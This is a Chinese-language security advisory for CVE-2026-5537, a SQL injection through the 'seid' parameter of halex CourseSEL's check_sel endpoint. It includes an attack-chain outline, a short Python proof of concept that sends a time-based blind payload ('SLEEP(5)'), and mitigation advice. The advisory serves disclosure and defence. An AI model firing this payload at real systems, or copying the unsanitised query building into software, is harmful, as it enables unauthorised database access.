IPBUF安全漏洞报告
English
CVE-2026-5537 CVSS 6.3 中危

CVE-2026-5537 halex CourseSEL SQL注入漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2026-5537
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
halex CourseSEL

相关标签

SQL注入halex CourseSELCVE-2026-5537远程代码执行Web安全

漏洞概述

halex CourseSEL 1.1.0及以下版本中存在安全漏洞。该漏洞位于组件HTTP GET参数处理程序的文件Apps/Index/Controller/IndexController.class.php的check_sel函数中。由于对参数seid的处理不当,攻击者可通过操纵该参数发起远程SQL注入攻击。目前该漏洞利用代码已公开披露,且厂商尚未做出响应。

技术细节

该漏洞的根本原因是应用程序在处理用户输入时缺乏有效的安全过滤。具体而言,在Apps/Index/Controller/IndexController.class.php文件的check_sel函数中,程序直接获取HTTP GET请求中的'seid'参数,并将其拼接到SQL查询语句中执行,未进行任何转义或预处理。这种不安全的编码方式允许攻击者通过构造包含SQL元字符(如单引号、注释符等)的恶意输入值,篡改原始SQL逻辑。攻击者可利用此漏洞执行任意SQL命令,从而窃取数据库敏感信息、绕过身份验证或破坏数据完整性。鉴于CVSS评分为6.3,且攻击复杂度低(AC:L)、无需用户交互(UI:N),该漏洞具有中等风险,需引起重视。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统正在运行halex CourseSEL 1.1.0或更早版本。
STEP 2
载荷构造
攻击者针对HTTP GET参数'seid'构造恶意SQL注入载荷,例如利用单引号闭合查询并插入UNION SELECT语句或基于时间的盲注语句。
STEP 3
发送请求
攻击者向受影响端点(如/index.php/index/check_sel)发送包含恶意'seid'参数的HTTP GET请求。
STEP 4
漏洞利用
服务器端IndexController.class.php中的check_sel函数直接处理该参数,导致恶意SQL语句在数据库中执行。
STEP 5
数据获取
攻击者根据注入语句获取数据库结构、敏感数据或执行系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Description: PoC for CVE-2026-5537 SQL Injection # Target: halex CourseSEL <= 1.1.0 # Endpoint: /index.php/index/check_sel def exploit_sqli(target_url): # The vulnerable parameter is 'seid' # Payload attempts a basic time-based or union-based injection payload = { "seid": "1' AND SLEEP(5)-- -" # Simple time-based blind SQL injection test } try: print(f"Sending request to {target_url}...") response = requests.get(target_url, params=payload, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability confirmed (Time-based).") else: print("[-] Vulnerability not confirmed via timing, try error-based payload.") except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://vulnerable-host/index.php/index/check_sel" exploit_sqli(target)

影响范围

halex CourseSEL <= 1.1.0

防御指南

临时缓解措施
在厂商未发布正式补丁前,建议通过修改代码对'seid'参数进行强制整数转换或使用正则表达式过滤非法字符,同时在网络边界部署WAF规则拦截针对'/index.php/index/check_sel'接口的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表